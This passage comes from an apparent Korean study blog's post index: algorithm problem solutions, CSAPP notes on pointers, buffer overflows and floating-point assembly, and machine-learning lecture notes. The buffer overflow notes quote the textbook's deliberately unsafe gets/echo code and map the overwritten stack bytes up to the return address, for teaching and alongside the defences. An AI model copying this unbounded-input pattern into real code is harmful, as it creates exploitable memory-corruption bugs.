M+1){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; links[u].push_back({v, i}); links[v].push_back({u, i}); } rep(i, 0, K){ int p; cin \u0026gt;\u0026gt; p; prohibit_list.push_back(p); } // 모두 금지했을때 이분 그래프인가? if(!isBipartite(K)){ cout \u0026lt;\u0026lt; -1; return; } // 파라메트릭 서치 int ok = K, ng = -1; while(ok - ng \u0026gt; 1){ int mid = (ok + ng) \u0026gt;\u0026gt; 1; if(isBipartite(mid)) ok = mid; else ng = mid; } cout \u0026lt;\u0026lt; ok \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; int groupA_sz = 0, groupB_sz = 0; isBipartite(ok); rep(i, 1, N+1) color[i] == 1 ? groupA_sz++ : groupB_sz++; cout \u0026lt;\u0026lt; min(groupA_sz, groupB_sz) \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; max(groupA_sz, groupB_sz) \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-23T00:00:00Z","permalink":"/posts/algorithm/ps/260123_algorithm_boj-23086-%EB%91%90-%EB%B0%98%EC%9C%BC%EB%A1%9C-%EB%82%98%EB%88%84%EA%B8%B0/","title":"BOJ 23086 두 반으로 나누기"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/34830 🧐 관찰 및 접근 문제 상황을 차근차근 살펴보자 $a, b$가 있을 때, $a - b$ 를 한번 지나가면 된다. $a, b, c$가 있을 때, $a - b, b- c, c-a$를 한번씩 지나가야한다. $a, b,c ,d$가 있을 때, $a-b, a-c, a-d, b-c, b-d, c-d$를 한번씩 지나가야 한다. 이를 그래프 이론으로 해석할 수 있지 않을까? 그래프가 있고, 각 간선을 한번씩 지나되, 시점과 종점이 달라도 된다 한붓그리기가 가능한가? 이제 이 문제는 오일러 경로를 가능하게 하는 문제로 바뀐다. 오일러 경로는, 홀수점이 두개 이하일때 가능하다. 정점이 $N$개 있다고 하면, 그래프는 완전그래프이므로 각 정점에 붙어있는 간선은 $N-1$개이다. $N$이 홀수라면, 모든 $N$개의 정점은 짝수점이다. $N$이 짝수라면, 모든 $N$개의 정점은 홀수점이다. 따라서, $N-2$개의 점들을 연결해서 홀수점이 2개가 되도록 만드는것이 최적이다. 💻 풀이 코드 (C++): void solve(){ ll N; cin \u0026gt;\u0026gt; N; ll ans = N * (N-1) / 2; if(N%2 == 0) ans += N/2 - 1; cout \u0026lt;\u0026lt; ans; } ","date":"2026-01-23T00:00:00Z","permalink":"/posts/algorithm/ps/260123_algorithm_boj-34830-%ED%98%B8%ED%98%84%EC%9D%B4%EC%99%80-%ED%8C%8C%EC%9D%B4%EC%8D%AC/","title":"BOJ 34830 호현이와 파이썬"},{"content":"📝 상세 정리 데이터와 머신레벨 코드를 지금까지 따로 살펴보았다 이제부터는 합쳐서 확인해보자 이건 포인터 단위로 공부할 것이다. 버퍼 오버플로우도 연구해보자 스택 저장량이 실행마다 다를 수 있는 경우? 를 확인해보자 3.10.1 Understanding Pointers 모든 포인터는 associated type이 있다. 어떤 object를 가리키는지 나타내는 것 객체가 타입 T를 갖는 경우, T의 포인터는 타입 *T를 갖는다. 타입 *T의 포인터는 **T이다. 그냥 * 라고 쓰면 일반 포인터를 반환한다. 이 포인터 유형은 기계코드의 일부는 아니지만, 오류를 방지하기 위해 C가 제공하는 추상화임 모든 포인터의 값은 일부 객체의 주소를 가리킨다 NULL(0)일때 빼고 (아무데도 가리키지 않음) 포인터는 \u0026amp;연산으로 생성된다 기계코드에서는 주로 leaq로 나타내지더라 포인터는 *연산으로 역참조된다. 지정된 주소로 저장하거나 지정된 주소로부터 검색한다. 배열과 포인터는 밀접한 관련이 있다. 배열의 이름은 마치 포인터 변수인 것처럼 참조된다. 포인터를 캐스팅할 때, 그 유형은 바뀌지만 그값은 바뀌지 않는다. 하지만 스케일링을 바꿀 순 있다 EX) p가 char * 유형의 포인터인 경우 (int *) p+7은 p+28을 계산하고, (int *) (p+7)은 p+7을 계산한다. 포인터는 함수를 가리킬 수도 있다. int fun(int x, int *p); int (*fp)(int, int *); fp = fun; int y = 1; int result = fp(3, \u0026amp;y); 함수 포인터의 값은 함수의 기계코드 표현에서 첫번째 명령어의 주소이다. 3.10.2 Life in the Real World: Using the GDB Debugger gdb는 GNU 디버거 ㅋㅋ bomb lab 풀면서 이미 써봤지롱 3.10.3 Out-of-Bounds Memory References and Buffer Overflow C는 배열 참조에 대한 임의의 경계 검사를 수행하지 않는다 저장된 레지스터값 반환 주소와 같은 상태 정보 로컬 변수 이 모든것들이 스택에 저장된다 근데 이건 심각한 프로그램 오류를 초래할 수도 있다!! Out of bound 배열 요소에 작성하는것으로! 그리고 이상태로 레지스터를 다시 가져오거나 ret 명령어를 하려고 하면 터질 수 있다. 이런걸 Buffer Overflow라고 한다. 문자열을 유지하기 위해 스택 상에 일부 문자 배열에이 할당되지만, 그 크기가 넘어간 경우 char *gets(char *s){ int c; char *dest = s; while((c = getchar()) != \u0026#39;\\n\u0026#39; \u0026amp;\u0026amp; c != EOF) *dest++ = c; if(c == EOF \u0026amp;\u0026amp; dest == s) return NULL; *dest++ = \u0026#39;\\0\u0026#39;; return s; } void echo(){ char buf[8]; gets(buf); puts(buf); } 이런 코드가 있다고 하자! 그런데 이 코드는 입력이 크기인 8을 넘는지 안넘는지 알 수 있는 방법이 없다\u0026hellip;. 어셈블리로도 봐볼까? void echo() 1\techo: 2\tsubq\t$24, %rsp\tAllocate 24 bytes on stack 3\tmovq\t%rsp, %rdi\tCompute buf as %rsp 4\tcall\tgets\tCall gets 5\tmovq\t%rsp, %rdi\tCompute buf as %rsp 6\tcall\tputs\tCall puts 7\taddq\t$24, %rsp\tDeallocate stack space 8\tret\tReturn ``` - 스택 포인터에서 24를 빼서 할당하고, 맨위에 저장하고.. - rsp를 rdi에 적어놔서 gets / puts 둘다에도 쓸 수 있게 하고 - buf가 그러면 8바이트를 쓰니까, 뒤에 16바이트는 안쓴다. - 사용자가 7개 문자 입력 (종료문자열까지 8개) 까지는 문제가 없겠지만\u0026hellip; 이를 넘어가면? - 0-7: buf에 잘 들어감 - 9-23: 비어있는 스택공간 - 24-31: Return address - 32+: caller에 저장된 값들 버퍼 오버플로우는 버그가 터지는것도 문제지만.. 원하지 않는 행동을 마음대로 할 수 있다면? 이것이 컴퓨터 네트워크를 통해 시스템의 보안을 공격하는 가장 일반적인 방법 이를 Exploit code라고 한다. 뭐 암튼 보안을 잘해야한다는 이야기 3.10.4 Thwarting Buffer Overflow Attacks 버퍼 오버플로우가 문제가 되니까 현대 컴파일러와 운영체제는 이를 막는 메커니즘을 구현하기 시작했다 Stack Randomization 시스템 내에 익스플로잇 코드를 삽입하기 위해서 공격자는 코드에 대한 포인터뿐만 아니라 코드 모두를 주입해야함. 또한, 해당 문자열이 들어갈 스택/메모리 주소도 알아야된다!! 역사적으로, 이는 예측 가능성이 높았다. 공격자가 공통 웹서버에서 사용하는 스택 주소를 찾았다면? 많은 머신에서 작동하는 공격을 만들 수 있었다. 그러니까, 스택의 위치를 각 프로그램의 실행마다 다르게 하자. 많은 머신이 같은 코드를 실행하더라도, 모두 상이한 스택 주소를 사용할 것이다. alloca함수같은걸 이용해서 프로그램 시작시 스택상에 랜덤한 값을 할당한다 이 값은 충분한 변동을 얻을수 있을정도로 커야하지만, 낭비하지 않을만큼 작아야하는.. 당연한말 간단하게는 이렇게 확인 가능하다 int main(){ long local; printf(\u0026#34;local at %p\\n\u0026#34;, \u0026amp;local); return 0; }\t이렇게 하면 언제나 같은 값을 가지지 않음을 확인할 수 있다. 이는 현재 리눅스 시스템에서 표준 관행이다. 하지만 이는 어느정도의 공격을 막을 수는 있지만 공격자가 정말 힘내면 다른 주소를 가진 공격을 반복적으로 시도해서 브루트포스로 극복 가능하다. Stack Corruption Detection 스택이 손상되었을 때를 감지하면 되지 않을까? echo함수는 local buffer의 경계를 초과할 때 터졌었다 C에서는 배열의 경계를 넘어서 쓰기를 방지할 수 있는 좋은 방법이 없다. 대신 프로그램은 그러한 쓰기가 어떠한 해로운 영향을 미치기 전에 뭔가가 발생한적 있는지를 검사할 수 있다. 이는 버퍼 오버런을 검출하기 위해 생성된 코드에 스택 보호자로 알려진 메커니즘을 통합한다 (?) 임의의 로컬 버퍼와 나머지 스택들 사이에 특별한 canary 값을 지정하는 것 이는 guard값이라고도 하며, 프로그램이 실행될 때마다 무작위라서 공격자가 그것이 무엇인지 쉽게 결정할 수 없다. 레지스터를 복원하고 돌아가기 전에, 프로그램은 이 canary가 변경되었는지 안됐는지 확인한다. 아하, 예전에 bomb lab에서 봤던 %fs:40이 이거였구나!!! Limiting Executable Code Regions 공격자가 실행 가능한 코드를 시스템에 삽입하는 능력을 제거하는 것 그중 한가지 방법은 실행 가능한 코드를 메모리 영역에 저장하는것을 제한하는 것 예를 들어, 컴파일러에 의해 생성된 코드가 있는 부분만 실행 가능하게 하고, 나머지 부분은 읽기 및 쓰기만 허용하도록 제한할 수 있겠다. 가상 메모리공간은 페이지당 2048 / 4096바이트임. (9장에서 배울 것) 하드웨어는 프로그램 / 운영체제 등한테 액세스 형태를 지정하는 메모리 보호를 지원함 많은 시스템들은 읽기 / 쓰기 / 실행에 대한 제어를 허용한다. 역사적으로 x86은 읽기 및 실행을 1비트 플래그로 병합하여, 읽기가 가능하면 실행도 가능했다. 스택쪽도 읽어야하기때문에 스택의 바이트도 실행이 가능했다 하지만 이제 64비트 프로세서에서는 AMD도 인텔도 이를 분리하기 시작햇다. 이 세가지 기술들은 프로그래머의 노력도, 수행 오버헤드도 적다. 개별적으로 취약성 수준을 낮추고, 조합해서 더 좋기도 하다. 하지만 불행히도 컴퓨터를 공격하는 방법들은 여전히 존재하고, worm과 바이러스들은 계속 공격해나간다. 3.10.5 Supporting Variable-Size Stack Frames 지금까지는 컴파일러가 스택에 얼만큼을 할당해야하는지 미리 결정할 수 있었다. 하지만 일부 기능은 요구하는 스택 메모리의 양이 달라질 수 있다! 예를들어, alooca 등의 임의 크기의 바이트를 스택에 할당하는 거라던지, 가변 크기의 로컬 어레이를 선언하던지 따라서, 나중에 함수로 돌아갈때 스택 포인터의 위치가 어디였는지를 기억하기 위해, 이를 프레임 포인터마냥 %rbp에 저장해두자!! 그러면 %rsp가 얼마나 크더라도 함수 return시 어디로 돌아가야하는지는 확실하다. 이건 기계코드에 leave라고 있다. ❔질문 사항 왜 8바이트가 아닌 24바이트를 땡겼지? -\u0026gt; 16바이트 단위로 rsp를 맞추기 위해 Stack Randomization, Stack Canary 모두 컴파일 시간에 결정된거 아닌가? 랜덤값이? 같은 컴파일된 바이너리파일을 실행하면 결국 일어나는일은 언제나 같은건가? -\u0026gt; ㄴ.ㄴ fs:40같은데 들어이있는 값은 맨날 다르다 그래도 RNG같은 코드가 박혀있는거 아닌가? -\u0026gt; 맞긴 한데, 간단한 rand()급이 아니고 마우스 움직임 / 하드웨어 인터럽트등 다양한 불규칙적 신호들을 모아서 무작위화한다. 스택에서 printf같은걸로도 못읽게 첫번째 바이트를 0x00(NULL)로 설정해서 문자열 함수 등도 방어한다! 🔗 참고 자료 CSAPP ","date":"2026-01-23T00:00:00Z","permalink":"/posts/books/csapp/chapter-03-machine-level-representation/260123_til_csapp-3.10/","title":"CSAPP 3.10 Combining Control and Data in Machine-Level Programs"},{"content":"📝 상세 정리 Floating-Point Code 부동소수점 아키텍쳐는 어케 동작할라나 부동소수점 값이 저장되고 엑세스되는 방법 부동소숫점 데이터에서 작동하는 명령어 부동소수점 값을 함수에 전달하고 반환하는데 사용되는 컨벤션/관례 함수 호출 중 레지스터가 보존되는 방법에 대한 규약 SSE는 128비트, AVX는 256비트, AVX-512는 512비트.. %xmm0, %xmm1등의 어셈블리 코드가 나오면 현대적인 레지스터다! %rax, %rbx, %rsp, \u0026hellip; %r15랑은 아예 별개. 위치도 다른듯? 연산 방식 자체가 보수방식 / 지수가수 방식으로 다르니까 다른 장치에서 SIMD도 가능하다! 3.11.1 Floating-Point Movement and Conversion Operations vmovss / vmovsd / vmovaps / vmovapd 같은 명령어들이 있다 코드 최적화 지침은 32비트 데이터는 4바이트 정렬을, 64비트 데이터는 8바이트 정렬을 만족하도록 권장하지만 안그래도 동작은 한다 정수 mov과 같은 방식으로 웬만하면 동작한다! GCC는 스칼라 이동 연산을 xmm 레지스터 - 메모리 사이에서만 수행한다. xmm 레지스터 사이에서 전송하기 위해선 vmovaps나 vmoapd 안에있는 a는 aligned, 정렬을 의미한다 float float_mov(float v1, float *src, float *dst){ float v2 = *src; *dst = v1; return v2; } 위 코드는 다음과 같이 번역된다. v1 in %xmm0, src in %rdi, dst in %rsi 1\tfloat_mov: 2\tvmovaps\t%xmm0, %xmm1\tCopy v1 3\tvmovss\t(%rdi), %xmm0\tRead v2 from src 4\tvmovss\t%xmm1, (%rsi)\tWrite v1 to dst 5\tret\tReturn v2 in %xmm0 ``` vmovaps, vmovss를 둘다 확인할 수 있다! float -\u0026gt; 정수에서는 잘 반올림해서 들어감 정수 -\u0026gt; float에서는 신기하게도 뒤에 피연산자가 3개 들어간다 이때 두번째 피연산자는 상위 바이트에만 영향을 미쳐서 무시해도 된다 일단 두번째 연산자는 결과가 들어갈 레지스터의기 기존 값을 의미한다. 웬만한 연산에서 두번째 피연산자와 세번째 목적지 피연산자는 같다 float -\u0026gt; float에서 조금 이상한 코드가 생성된다 상위비트를 다시 활용하지 못하게 하기 위함 가짜 의존성 이전의 상위 비트값을 써야될때 값을 기다리게 하지 않기 위해, 그냥 덮어버린다 single -\u0026gt; double, double -\u0026gt; single 둘다 마찬가지 3.11.2 Floating-Point Code in Procedures 크아악 프로시져다 언제나 그랬듯 XMM 레지스터를 이용해서 float 인수들을 함수로 전달하고 반환받고 한다 x86-64에서는 다음과 같은 관습이 관찰된다 최대 8개의 float arg가 xmm0~7로 전달되고, 더 필요하면 스택 사용 float 반환은 xm0에서 모든 XMM 레지스터는 caller-saved. 이후에 호출된놈이 맘대로 바꿔도 됨 double f1(int x, double y, long z); 위의 예에서, %edi에 x, %xmm0에 y, %rsi에 z 3.11.3 Floating-Point Arithmetic Operations double funct(double a, float x, double b, int i){ return a*x - b/i; } 위 코드는 다음과같이 번역된다. a in %xmm0, x in %xmm1, b in %xmm2, i in %edi 1\tfunct: The following two instructions convert x to double 2\tvunpcklps\t%xmm1, %xmm1, %xmm1 3\tvcvtps2pd\t%xmm1, %xmm1 4\tvmulsd\t%xmm0, %xmm1, %xmm0\tMultiply a by x 5\tvcvtsi2sd\t%edi, %xmm1, %xmm1\tConvert i to double 6\tvdivsd\t%xmm1, %xmm2, %xmm2\tCompute b/i 7\tvsubsd\t%xmm2, %xmm0, %xmm0\tSubtract from a*x 8\tret\tReturn ``` 3.11.4 Defining and Using Floating-Point Constants 정수 연산과 달리 AVX float 연산은 immediate value로 연산할 수 없다. 대신 컴파일러는 임의값에 대해 스토리지를 할당하고 초기화하고, 메모리로부터 값을 읽는다. double cel2fahr(double temp){ return 1.8 * temp + 32.0; } 과 같은 함수가 있다면, 이는 다음과 같이 바뀐다. double cel2fahr(double temp) temp in %xmm0 1\tcel2fahr: 2\tvmulsd\t.LC2(%rip), %xmm0, %xmm0\tMultiply by 1.8 3\tvaddsd\t.LC3(%rip), %xmm0, %xmm0\tAdd 32.0 4\tret 5\t.LC2: 6\t.long\t3435973837\tLow-order 4 bytes of 1.8 7\t.long\t1073532108\tHigh-order 4 bytes of 1.8 8\t.LC3: 9\t.long\t0\tLow-order 4 bytes of 32.0 10\t.long\t1077936128\tHigh-order 4 bytes of 32.0 ``` .LC2의 위치로부터 1.8을 가져오고, .LC3에서 32.0을 판독해오는 것으로 보인다. 3.11.5 Using Bitwise Operations in Floating-Point Code 비트연산을 float에서도 사용할 수 있다! vxorps, vxorpd, vandps, vandpd 근데 float에서 비트연산은 진짜 왜하지? 레지스터를 0으로 초기화하고 싶을 때 자기 자신을 xor하기 부호 반전 / 절댓값화 맨앞 MSB 만지기 (x\u0026lt;0 ? 0:x)과 같은 경우 (RELU) 3.11.6 Floating Point Comparison Operations 아무래도 수를 비교는 해야겠지 ucomiss / ucomisd S1와 S2 비교 늘 그랬듯 ZF, CF, PF를 설정한다 하나라도 NaN이면, 세 플래그를 다 킨다! 3.11.7 Observations about Floating-Point Code AVX2가 float에 대해 정수랑 비슷하지만, 훨씬더 다양한 명령어와 형식을 포함하는걸 알 수 있었다. 또한 패킹된 데이터에 병렬연산을 수행해서 더 빠르게 실행시킬수도 있다. 요새 gcc가 해주더라 ❔질문 사항 🔗 참고 자료 ","date":"2026-01-23T00:00:00Z","permalink":"/posts/books/csapp/chapter-03-machine-level-representation/260123_til_csapp-3.11/","title":"CSAPP 3.11 Floating-Point Code"},{"content":"📝 상세 정리 딥러닝 이전의 CV 컴퓨터는 단순히 픽셀 값만을 알고 있는데 컴퓨터 비전 태스크를 위해선 이를 의미있는 정보로 이해해야 한다. 좋은 Visual feature이란 무엇일까? 조명이 달라지더라도 같은 인물로 인식할 수 있어야 하고 시점이 다르더라도 같은 건물로 인식할 수 있어야 하고 사람이 특징을 직접 설계! 중요한 특징을 수학적으로 잡아서 파노라마로 만들던가, 키포인트로 매핑해서 3D 복원을 한다던가\u0026hellip; 결국 목표는 좋은 Visual Feature을 찾는 것 edge, corner Harris corner detector 평평한 부분은 x, y 변화가 크지 않지만, 코너는 x, y 변화가 크다 미분을 이용해서 변화가 큰 지점을 잡아내자 filter 여러가지 필터를 통해서 x방향, y방향의 변화를 찾을 수 있다 방법 (중요한건 아닌뎅) 이미지 기울기 계산 공분산 행렬 생성 고윳값이 임계점 이상인 부번을 코너로 같은 이미지여도 크기에 따라 corner / edge 가 달라질 수 있다. 여러 크기에서 진행하면 되기야 하겠다만\u0026hellip;. 번거롭다 SIFT Scale Invariant Feature Transform 벡터로 이케저케 한다는디 조금 더 강건한 피쳐까진 됐는데, 각자가 왜 그런지 이유는 말을 못했다는듯? CNN 특징 추출 (Convolution) -\u0026gt; 요약 (Pooling) -\u0026gt; 판단 (FC) 1차로 간단한 필터를 씌우고, 점점 고도화시킨다. inductive bias 모델이 학습을 시작하기도 전에 미리 가지고 있는 가정 모델이 더 빠르게 학습되고, 더 강건하도록 Locality 서로 가까이 있는 픽셀들은 더 강한 연관성을 갖는다. Translation invariance 이미지 속 객체의 위치가 변하더라도 본질은 변하지 않는다 convolution 아까부터 계속 곱하고있는 필터! padding feature map이 점점 작아지지 않게 가장자리에 0같은걸 두르기 stride 필터가 한번에 몇칸씩 이동하는지 pooling 압축하듯이, 영역에서 가장 큰 값을 남기거나 (max pooling) 평균값을 남기거나 (aver pooling) 작은 변화 무시 receptive field 확대 연산량 감소 hierarchial structure (계층적 구조) 점점 receptive field와 채널 수를 늘려 복잡한 feature VIT Transformer 기반 이미지 인식 모델 이미지를 필터로 보는게 아니라, 잘라서 각 patch로 보고, 이를 벡터로 임베딩시키는 것 학습에 훨씬더 많은 데이터를 필요로 함 Step 1: 이미지 분할 $H*W*C$를 $P*P$ 크기의 격자로 분할하여 $\\frac{HW}{P^2}$개의 패치 생성 Step 2: 이후 각 패치를 평탄화 후 선형 임베딩 $E \\in R^{(P^2 \\cdot C)*D}$ Step 3: Transformer Encoder (핵심 연산) Cls 토큰을 포함한 시퀀스를 인코더에 넣어서 연산하기 Downstream tasks 층이 깊어질수록 정확도가 떨어지는 문제가 있었다 ResNet Skip connection $H(x) = F(x) + x$로 정의하여, $H(x) - x$ (잔차)를 학습 깊은 네트워크를 학습해도 되게 되었다 basic block vs bottleneck block basick block 3x3 convolution과 relu bottleneck block 여러가지 크기의 convolution들 압축하고.. 큰걸 먹이고.. 등등\u0026hellip; ResNet34 구조 해상도는 줄이면서 점점 두꺼워지는 구조 YOLO Object Detection을 하는 모델 출력은 위치 / 객체가 무엇인지 / 있을 확률 세가지를 나타냄 과거에는 후보지역을 찾아낸 후, CNN으로 뭐가 있는지 후처리를 하였는데 YOLO는 한번에 된다! You Only Live Once 24개의 convolutional layer에서 이미지의 특징을 추출하고, 이를 2개의 FC 레이어에 넣어서 클래스와 위치를 예측 Unet Segmentation을 하는 모델 고양이가 있는 픽셀은 여기다! 라고 하며 mask를 출력하는 모델 U자처럼 생겨서 Unet Decoder / Encoder / Skip connection등으로 이루어진 모델 encoder의 Feature를 Decoder에 전달해주는 Skip connection 해상도를 줄이다보면 위치 정보가 소실된다. (작아지니까) 이때 이 값을 그대로 줘서 위치정보가 소실되지 않도록 CLIP 이미지와 텍스트를 한 공간에서 정렬 기존 방식은 확장성도 부족하고, 라벨링도 어렵다 인터넷에서 얻은 데이터셋과 캡션으로 사전 학습을 하자! 고양이를 검색해서 나온 사진과 텍스트를 임베딩하자 라벨이 아니라 이미지와 텍스트 쌍으로 학습된다 정답 쌍 끼리는 유사도가 높게, 아니면 낮게 이후 \u0026ldquo;A photo of plane\u0026rdquo;, \u0026ldquo;A photo of dog\u0026rdquo;\u0026hellip;을 넣어서 비교하면? 예측이 가능해진다! 기존 라벨링이 비싸다는 문제를 캡션을 이용해서 해결했다 DINO ML의 대표적인 학습 방식 지도 학습 비지도 학습 자기지도 학습 데이터 안에서 라벨을 직접 만들어서 학습하는 것 ❔질문 사항 🔗 참고 자료 ","date":"2026-01-23T00:00:00Z","permalink":"/posts/study/ybigta/260123_til_ybigta-cv/","title":"YBIGTA CV"},{"content":"📝 상세 정리 Classical NLP ML로 텍스트를 이해하려는 시도 자연어 처리는 텍스트의 패턴을 컴퓨터에게 어떻게 먹이고 / 처리를 할것이냐? NLP의 역사 규칙 기반 NLP Rule Base: 사전에 만들어둔 규칙에 기반해 처리하자 nltk/wordnet: 유의어 사전(시소러스) 기반으로 단어의 의미를 인식 비싸고 정적이고 모든 상황 표현이 부족하다 통계 기반 NLP Corpus(말뭉치)에서 텍스트의 규칙을 찾자 단어의 벡터표현 분포 가설 단어의 의미는 주변 단어에 의해 형성된다 Cosine 유사도\u0026hellip; 하지만 단어 벡터가 너무 고차원이다 SVD로 차원축소를 하기엔, 계산량이 너무 많다 결국 큰 Corpus 안에서 다양한 단어들의 의미를 벡터화해야하는데 Corpus가 커지면 힘들다 NN Based NLP Word2vec Neural Network를 사용해서 단어를 임베딩하자 Cbow Continuous Bag of words 주위 단어로 가운데 단어 예측 you say goodbye and I say hello you, goodbye -\u0026gt; say say, and -\u0026gt; goodbye goodbye, I -\u0026gt; and \u0026hellip;를 맞추도록\u0026hellip; 단어들을 id로 바꾼 후, 원핫벡터를 정답으로해서 순전파, softmax, 출력, 역전파.. Skipgram 중간단어 한개로 주변 n개단어의 context 예측 아무튼 그 결과 각 단어별 Embedding을 구할 수 있다 (벡터화 된다) Sequential \u0026amp; Contextual NLP Language Model Word2vec까지는 순서, 장기 문맥 고려 없이 단어들을 embedding한다. 문맥의 자연스러움을 평가하고 자연스러운 다음 단어를 예측하는 모델을 만들자! RNN one to many: 첫 단어 입력에 대해 문장 예측 many to one: 감정 label 예측 many to many: 기계번역 등등 여러가지 모델을 만들 수 있다! 문제: 기울기 소실 / 폭발 시퀀스가 너무 길면 뒷쪽 단어를 예측해서 나온 오차의 역전파가 앞쪽에 거의 반영되지 못한다. LSTM 옛날 Weight가 사라지는것같아서, Gate를 달아서 가져오게 하겠다! GRU LSTM이 너무 복잡하니까 조금 간소화하자 Transformer Attention Seq2Seq 셀이 아닌 아키텍쳐 위의 아키텍쳐 두개를 결합 (인코더 / 디코더) 모든 문장을 끝까지 들은 후 하나의 완전한 문장 생성 입력과 출력 시퀀스의 길이가 달라도 된다! 번역에 가장 많이 쓴다 문제 단계적 연산이 너무 느리다 긴시퀀스에서 정보가 충분히 전달되지 않는다 Transformer 개선점 RNN계열 셀 배제 -\u0026gt; Transformer block 사용 포지셔널 인코딩 - 시퀀스 비순차적 입력 -\u0026gt; 병렬처리 Self attention - 긴 문장의 장기맥락 Encoder + Decoder 구조는 그대로 구현하였음! Attention seq2seq에서의 Attention 번역할 때 단어 \u0026ldquo;정보\u0026quot;와 \u0026ldquo;imformation\u0026quot;의 관계가 크지 않을까? 이 점수가 Attention Score 문맥 상 한 토큰과 관련이 높은 다른 토큰의 임베딩과의 관련도를 구하겠다! 맥락과 포지셔닝으로 해결하자 Self Attention 다른 토큰에서 필요한 정보를 선택적으로 집계해 현재 토큰 표현을 갱신 Multi Head Attention 여러 종류의 관계를 병렬적으로 포착해 집계 신호의 다양성 증가 Transformer 변형 Encoder \u0026amp; Decoder 인코더만 잘라쓰면 BERT 디코더만 잘라쓰면 GPT LLM은 보통 디코더 베이스 BERT 계열 Representation Model GPT 계열 Generative Pretrained Transformer LLM Pretrain 지식 + 문법적으로 맞게 글쓰기 습득 데이터셋 corpus같은것을 토크나이제이션 해서 임베딩 + 포지셔널 인코딩을 하고 Masked 멀티헤드 어텐션을 먹여서 Loss를 계산하고 역전파를 하겠다! Post Train Pretrain 후에는 글은 잘쓰는데 질문 -\u0026gt; 대답이나, 할루시네이션 방지등이 안된다. 이걸 잡자. 도메인 특화 지식 + 선호 및 지식에 맞게 튜닝 Supervised Fine Tuning ex) instruction Tuning 지시를 보면 이런 형태로 답하도록 학습 Reinforcement Learning ex) RLHF, GRPO\u0026hellip; 지시를 따르되, 사람 취햐에 더 맞게 다듬기 Agent LLM 언어모델에게 Tool을 부여 ❔질문 사항 🔗 참고 자료 ","date":"2026-01-23T00:00:00Z","permalink":"/posts/study/ybigta/260123_til_ybigta-nlp/","title":"YBIGTA NLP"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/32607 번역 흐로닝언 박물관 방문 문제 흐로닝언 박물관에서는 매일이 다릅니다. 어떤 날은 좋고 평화롭고 조용해서, 하루 종일 아름다운 그림, 조각, 그리고 다른 예술 작품들을 감상할 수 있습니다. 다른 날들은 더 바쁜데, 주말이나 공휴일에는 서두르는 방문객들, 높아진 입장료, 그리고 소리지르는 아이들로 박물관이 가득 찹니다. 이러한 불편함은 매우 다양합니다: 어떤 바쁜 날은 추가 학생 할인(studentenkorting) 덕분에 더 나을 수 있고, 어떤 조용한 날은 지진 위험 때문에 더 나빠질 수 있습니다.\n박물관은 또한 정기적으로 기간 한정 특별 전시회를 개최하는데, 예를 들어 지역 축구 클럽 FC 흐로닝언, 마르티니토렌(Martinitoren), 또는 아이어발(eierbal, 지역 별미)에 관한 전시회 등이 있습니다. 이러한 전시회들은 매우 불규칙적일 수 있습니다: 어떤 것은 몇 주 동안 지속되고, 어떤 것은 단 하루만 지속되며, 같은 날에 여러 전시회가 있을 수도 있습니다.\n자랑스러운 흐룬네허(Grunneger)로서, 당신은 각 전시회를 최소한 한 번씩은 방문하고 싶습니다. 다행히도, 당신은 뉴스레터를 구독하고 있어서 가까운 미래의 모든 전시회의 시작일과 종료일을 미리 알고 있습니다. 또한, 당신은 박물관의 단골 방문객이기 때문에 모든 혼잡도와 지진 패턴을 관찰해 왔으며, 특정 날짜에 박물관을 방문할 때 받게 될 불편함을 정확히 알고 있습니다.\n가까운 미래에 계획된 모든 전시회를 보면서 총 불편함을 최소화하려면 어느 날에 박물관을 방문해야 할까요?\n예를 들어, 첫 번째 샘플 케이스를 생각해보세요. 총 불편함을 최소화하려면, 첫 두 전시회는 둘째 날에 방문하고 마지막 전시회는 넷째 날이나 다섯째 날에 방문해야 합니다.\n입력 입력은 다음과 같이 구성됩니다:\n첫 번째 줄에 두 정수 $n$과 $m$ $(1≤n,m≤2⋅10^5)$이 주어집니다. $n$은 가까운 미래의 일수이고, $m$은 그 기간 동안 계획된 전시회의 개수입니다. 두 번째 줄에 $n$개의 정수 $c$ $(1≤c≤10^9)$가 주어집니다. 각 날짜에 박물관을 방문할 때 받게 될 불편함을 나타냅니다. $m$개의 줄, 각각 두 정수 $s$와 $e$ $(1≤s≤e≤n)$가 주어집니다. 전시회의 시작일과 종료일을 나타냅니다. 시작일과 종료일은 포함됩니다: 전시회는 $s$일, $e$일, 그리고 그 사이의 모든 날에 방문할 수 있습니다. 출력 흐로닝언 박물관의 모든 전시회를 방문할 때 받게 될 최소 총 불편함을 출력합니다.\n🧐 관찰 및 접근 예제 1번을 보자 3일에 3개를 다 방문할 수 있지만, 불편합의 합은 3 2일에 1,2번 전시, 4일이나 5일에 3번 전시를 보면 불편함의 합은 2 하루에 여러개를 보는게 좋을지, 아니면 더 불편함이 적은 날에 잘 보는게 좋을지\u0026hellip; 날짜에 대한 DP를 하는게 좋지 않을까? DP를 하자! 그런데, 전시가 걸린다. 전시도 DP식에 포함되어어야 할텐데\u0026hellip; 전시가 끝나는 날 순서대로 정렬하면, 앞에서부터 긁으면서 보는게 자연스러워질 것 같다. 그렇다면 이런 식을 세울 수 있지 않을까? $\\text{DP}[i]$ = 정렬된 전시들에서 $i$ 번째까지 전시들을 다 보는 최소 비용 전이 식은 이렇게 될까? $DP[i] = \\min\\limits_{0 \u003c j \\leq i}(DP[j-1] + C(j, i))$ $C(j, i)$ 는 $j$ ~ $i$ 전시를 하루만에 볼 수 있다면 그 값중 최솟값, 아니라면 $\\inf$ $C(j, i) = min(c_{\\max(s_j, s_{j+1}, \\dots, s_i)}, \\dots, c_{e_j})$ $C$가 계산하기 힘들어서 제곱에서 줄이기 쉽지 않아보이는데\u0026hellip;. 관찰을 하자 $s_1 \\leq s_2,\\ e_2 \\leq e_1$ 인 전시 $m_1, m_2$가 있다고 하자. 이 때, $m_2$ 를 방문하면 자연스럽게 $m_1$을 방문하게 된다!! 따라서, $s_1 \u003c s_2, \\ e_1 \u003c e_2$인 전시들만을 남길 수 